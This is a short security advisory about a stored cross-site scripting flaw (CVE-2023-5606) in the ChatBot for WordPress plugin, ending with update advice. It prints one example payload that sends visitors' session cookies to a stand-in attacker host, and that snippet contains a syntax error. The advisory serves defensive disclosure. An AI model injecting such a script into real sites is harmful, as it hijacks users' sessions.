A significant vulnerability was discovered in a popular WordPress plugin, the ChatBot for WordPress. This vulnerability, which poses a high risk to affected websites, pertains to stored cross-site scripting (XSS) due to insufficient input sanitization and output escaping in the plugin's FAQ Builder. It affects versions 4.8.6 through 4.9.6 and only impacts multi-site installations and installations where unfiltered_html capability has been disabled. Intriguingly, this vulnerability is a re-introduction of an earlier vulnerability, CVE-2023-4253.

The vulnerability enables authenticated attackers with administrator-level permissions and above to inject arbitrary web scripts into pages. When a user accesses an injected page, these scripts execute, which can lead to malicious actions such as stealing session cookies, injecting unwanted content, or even redirecting users to malware-laden websites.

To help you understand the scope and impact of this vulnerability, we've provided an example of a code snippet that demonstrates how an attacker might exploit it:

<script>document.location="http://attacker.com/?cookie="; + document.cookie;</script>

This exploit would inject a script that redirects the user to the attacker's website and potentially exfiltrate sensitive user data. As an administrator, you should take immediate action to patch this vulnerability and protect your website.

To eliminate the risk posed by CVE-2023-5606, update your ChatBot for WordPress plugin to version 4.9.7 or later. You can find the latest version of the plugin on the WordPress Plugin Directory:
